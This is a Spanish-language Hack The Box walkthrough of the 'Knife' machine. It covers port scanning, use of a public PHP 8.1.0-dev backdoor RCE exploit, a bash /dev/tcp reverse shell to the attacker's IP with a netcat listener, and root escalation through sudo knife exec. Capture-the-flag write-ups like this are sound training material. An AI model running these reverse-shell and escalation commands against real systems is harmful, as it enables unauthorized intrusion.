Post

Hack The Box Knife

Knife

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.242.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.242
PING 10.10.10.242 (10.10.10.242) 56(84) bytes of data.
64 bytes from 10.10.10.242: icmp_seq=1 ttl=63 time=144 ms

--- 10.10.10.242 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 143.579/143.579/143.579/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.242 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-14 17:50 CDT                                                                  
Initiating SYN Stealth Scan at 17:50
Scanning 10.10.10.242 [65535 ports]
Discovered open port 22/tcp on 10.10.10.242
Discovered open port 80/tcp on 10.10.10.242
Completed SYN Stealth Scan at 17:50, 24.08s elapsed (65535 total ports)
Nmap scan report for 10.10.10.242                           
Host is up, received user-set (0.43s latency).                                                                                   
Scanned at 2021-09-14 17:50:32 CDT for 24s
Not shown: 41264 closed tcp ports (reset), 24269 filtered tcp ports (no-response)                                                
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON                                                                                                      
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63   
                                
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 24.58 seconds
           Raw packets sent: 117364 (5.164MB) | Rcvd: 43489 (1.740MB)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts                                         
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp                                                                                                  
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │                                                        
   2   │ [*] Extracting information...
   3   │                   
   4   │     [*] IP Address: 10.10.10.242
   5   │     [*] Open ports: 22,80
   6   │                                                                                                                         
   7   │ [*] Ports copied to clipboard

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -sC -sV -p22,80 10.10.10.242 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-14 17:51 CDT
Nmap scan report for 10.10.10.242
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.56 seconds

Utilizamos la herramienta whatweb para observar que tecnologías está utilizando el sitio web.

1
2
❯ whatweb http://10.10.10.242/
http://10.10.10.242/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.242], PHP[8.1.0-dev], Script, Title[Emergent Medical Idea], X-Powered-By[PHP/8.1.0-dev]

Podemos observare el uso de PHP/8.1.0-dev el cual existen un exploit público PHP 8.1.0-dev - ‘User-Agentt’ Remote Code Execution el cual podemos aprovechar para obtener acceso a la máquina; por lo que lo descargamos y observamos que nos pide.

PHP 8.1.0-dev - ‘User-Agentt’ Remote Code Execution

Al ejecutarlo, no solicita la dirección URL de la máquina víctima, la ingresamos y nos proporciona una shell interactiva y para trabajar mas cómodos, nos entablamos una reverse shell y hacimiento un Tratamiento de la tty:

1
2
3
4
5
6
7
8
9
10
❯ python exploit.py
Enter the full host url:
http://10.10.10.242/

Interactive shell is opened on http://10.10.10.242/ 
Can't acces tty; job crontol turned off.
$ whoami
james

$ bash -c "bash -i >& /dev/tcp/10.10.14.20/443 0>&1"
1
2
3
4
5
6
7
8
9
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.242] 42470
bash: cannot set terminal process group (970): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ whoami
whoami
james
james@knife:/$

Ya nos encontramos dentro de la máquina y podemos visualizar la flag (user.txt). Ahora nos falta escalar privilegios, por lo tanto, enumramos un poco el sistema para determinar de que forma podemos ser usuario root.

1
2
3
4
5
6
7
8
james@knife:/$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife
james@knife:/$

Observamos que podemos ejecutar el binario knife como el usuario root; por lo que vamos a nuestra fuente de confianza GTFOBins para escalar privilegios:

GTFOBins

1
2
3
4
james@knife:/$ sudo knife exec -E 'exec "/bin/sh"'
# whoami
root
# 

Ahora ya somos administradores del sistema y podermos visualizar la flag (root.txt).

This post is licensed under CC BY 4.0 by the author.